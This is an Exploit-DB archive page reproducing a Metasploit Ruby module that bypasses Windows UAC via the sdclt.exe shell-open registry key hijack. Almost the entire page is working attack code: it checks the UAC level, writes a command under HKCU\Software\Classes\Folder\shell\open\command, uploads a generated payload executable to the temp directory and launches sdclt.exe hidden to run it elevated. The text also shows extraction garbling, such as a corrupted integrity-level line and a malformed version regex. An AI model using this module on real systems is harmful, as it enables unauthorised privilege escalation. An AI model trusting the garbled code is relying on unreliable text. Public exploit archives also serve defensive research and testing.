

Microsoft Windows - Escalate UAC Protection Bypass (Via Shell Open Registry Key) (Metasploit)

EDB-ID:

CVE:

47696 N/A

EDB Verified: <

Author: Type:

METASPLOIT LOCAL

Exploit: ★ / **{}**

Platform:

Date:

WINDOWS 2019-11-20

Vulnerable App:





```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Local</pre>
  Rank = ExcellentRanking
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Post::Windows::Priv
  include Post::Windows::Runas
  def initialize(info={})
    super(update_info(info,
                      => 'Windows Escalate UAC Protection Bypass (Via Shell Open
Registry Key)',
      'Description'
                     => %q(
        This module will bypass Windows UAC by hijacking a special key in the Registry
under
        the current user hive, and inserting a custom command that will get invoked
when
        Window backup and restore is launched. It will spawn a second shell that has
the UAC
        flag turned off.
        This module modifies a registry key, but cleans up the key once the payload has
        been invoked.
      ),
      'License'
                      => MSF_LICENSE,
      'Author'
          'enigma0x3', # UAC bypass discovery and research
          'bwatters-r7', # Module
       1,
      'Platform'
                   => ['win'],
      'SessionTypes' => ['meterpreter'],
      'Targets'
                      =>
```

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[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
      ],
      'DefaultTarget' => 0,
      'Notes'
                      =>
          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
      'References'
                    =>
        ['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-
exe/'],
          ['URL', 'https://github.com/enigma0x3/Misc-PowerShell-
Stuff/blob/master/Invoke-SDCLTBypass.ps1'],
          ['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass']
        1,
      'DisclosureDate' => 'Mar 17 2017'
    register_options(
      [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload
binary (%RAND% by default).', nil])]
  end
  def check
    if sysinfo['0S'] = \width{\sc /Windows} (Vista | 7 | 8 | 2008 | 2012 | 2016 | 10) / & is_uac_enabled?
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end
  def write_reg_values(registry_key, payload_pathname)
    begin
      registry_createkey(registry_key) unless registry_key_exist?(registry_key)
      registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
      registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ")
    rescue ::Exception => e
      print_error(e.to_s)
    end
```

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ena
 def exploit
    check_permissions!
    case get_uac_level
   when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
     UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
     UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
     fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this
setting, exiting...")
   when UAC_DEFAULT
     print_good('UAC is set to Default')
     print_good('BypassUAC can bypass this setting, continuing...')
   when UAC_NO_PROMPT
     print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method
instead')
     shell_execute_exe
     return
   end
    registry_key = 'HKCU\Software\Classes\Folder\shell\open\command'
    remove_registry_key = !registry_key_exist?(registry_key)
   # get directory locations straight
   win_dir = session.sys.config.getenv('windir')
   vprint_status("win_dir = " + win_dir)
   tmp_dir = session.sys.config.getenv('tmp')
   vprint_status("tmp_dir = " + tmp_dir)
   exploit_dir = win_dir + "\\System32\\"
   vprint_status("exploit_dir = " + exploit_dir)
   target_filepath = exploit_dir + "sdclt.exe"
   vprint_status("exploit_file = " + target_filepath)
   # make payload
   payload_name = datastore['PAYLOAD NAME'] || Rex::Text.rand_text_alpha(6..14) +
'.exe'
   payload_pathname = tmp_dir + '\\' + payload_name
   vprint_status("payload_pathname = " + payload_pathname)
    vprint_status("Making Payload")
    payload = generate_payload_exe
    reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
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vprint_status("reg_command = " + reg_command)
   write_reg_values(registry_key, reg_command)
   # Upload payload
   vprint_status("Uploading Payload to #{payload_pathname}")
   write_file(payload_pathname, payload)
    vprint_status("Payload Upload Complete")
    vprint_status("Launching " + target_filepath)
    begin
      session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' =>
true)
    rescue ::Exception => e
      print_error("Executing command failed:\n#{e}")
    end
    print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
    # wait for a few seconds before cleaning up
    print_status("Please wait for session and cleanup....")
    sleep(20)
   vprint_status("Removing Registry Changes")
    if remove_registry_key
     registry_deletekey(registry_key)
   else
      registry_deleteval(registry_key, "DelegateExecute")
      registry_deleteval(registry_key, '')
    print_status("Registry Changes Removed")
  end
  def check_permissions!
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    end
   fail with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
   # Check if you are an admin
   # is in admin group can be nil, true, or false
    print_status('UAC is Enabled, checking level...')
    vprint_status('Checking admin status...')
    case is_in_admin_group?
   when true
      print_good('Part of Administrators group! Continuing...')
      if got intognity lovel __ THTECHTTY LEVEL CTD[+low]
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fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
  end
  when false
    fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this
module')
  when nil
    print_error('Either whoami is not there or failed to execute')
    print_error('Continuing under assumption you already checked...')
  end
end
end
```

Tags: Metasploit Framework (MSF) Local

Advisory/Source: Link





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